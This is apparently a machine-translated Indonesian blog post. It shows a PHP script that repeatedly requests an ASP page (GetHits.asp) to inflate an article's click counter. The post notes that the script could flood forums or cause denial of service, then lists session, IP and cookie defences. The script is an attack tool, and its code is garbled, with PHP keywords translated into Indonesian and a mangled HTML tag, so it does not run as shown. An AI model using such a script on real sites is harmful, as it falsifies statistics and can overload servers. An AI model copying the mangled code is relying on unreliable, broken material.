Hari ini saya tidak sengaja melihat website yang counternya bisa diupdate di halaman statis. Saya pikir sebaiknya dilakukan dengan menggunakan js. Ketika saya membuka source codenya, ternyata:
<div align=center><SPAN class=Article_tdbgall>
Penulis: Sumber Artikel Tidak Dikenal: Meidi.Net
Jumlah klik:
<bahasa skrip='javascript' src='/Article/GetHits.asp?ArticleID=759'></script>
Waktu pembaruan: 27-5-2005</SPAN>
</div>
Jumlah klik diikuti oleh file asp untuk diproses, jadi saya akan membuka file ini dan melihat:
document.write('210');
Benar, itu adalah file GetHists.asp yang memproses ArticleID dan mengekstrak hasil dan mengeluarkan berapa kali: document .write('number of times'), yang dapat langsung direferensikan di halaman statis.
Orang jahat tetaplah orang jahat, jadi saya berpikir, bagaimana cara meningkatkan jumlah klik dengan cepat? Penyegaran manual tidak terlalu berguna. Nah, cepat tulis program PHP untuk mengakses file ini secara otomatis.
Kode PHPnya adalah sebagai berikut:
<?php
/* access_url.php */
mendefinisikan(SUM, 1000); //Jumlah kunjungan yang diperlukan
mendefinisikan(L_TIME, 1000); //Memaksa waktu eksekusi skrip
mendefinisikan(S_TIME, 1); //Waktu tidur di antara setiap kunjungan
$url = " http://www.xxx.com/Article/GetHits.asp?ArticleID=759 "; //Alamat yang akan diakses
set_time_limit(L_TIME);
//Akses fungsi URL yang ditentukan knowsky.com
fungsi access_url($url)
{
if ($url=='') mengembalikan salah;
$fp = fopen($url, 'r') atau exit('Buka url gagal!');
jika ($fp) {
sementara (!feof($fp)) {
$file = fget($fp);
echo $file."n<p> </p>n";
}
tidak disetel($file);
}
}
//Tes
untuk ($i=0; $i<JUMLAH; $i++) {
access_url($url);
tidur(S_TIME);
}
?>
Jalankan program di atas, maka alamat URL yang ditentukan akan diakses terus menerus, dan tentu saja jumlah akses akan terus meningkat, mencapai efek banjir. Jika lalu lintasnya besar dan beberapa program digunakan untuk menjalankannya, efek penolakan layanan (DoS) akan mudah terjadi. Jika pihak lain mengambil tindakan pencegahan dan memodifikasi kode dan mengirimkannya ke forum, efek membanjiri forum akan mudah terjadi.
Metode pencegahan:
1. Gunakan mekanisme Sesi dalam kode. Saat pengguna mengirimkan, ID Sesi dibuat. Saat mengirimkan konten, dinilai apakah sudah dikirimkan. Jika sudah dikirimkan, penyikatan tidak diperbolehkan.
2. Setelah pengguna mengirimkan, alamat IP pengguna dicatat. Jika pengguna mengirimkan lagi dalam waktu yang ditentukan, pengiriman lebih lanjut tidak diperbolehkan.
3. Setelah pengguna mengirimkan konten, cookie ditulis pada klien pengguna. Jika pengguna mengirimkan lagi, periksa apakah ada cookie pada klien untuk menentukan apakah pengiriman diperbolehkan.
Ada banyak cara lain, Anda bisa mencarinya, atau menggunakan imajinasi Anda untuk berbuat lebih baik.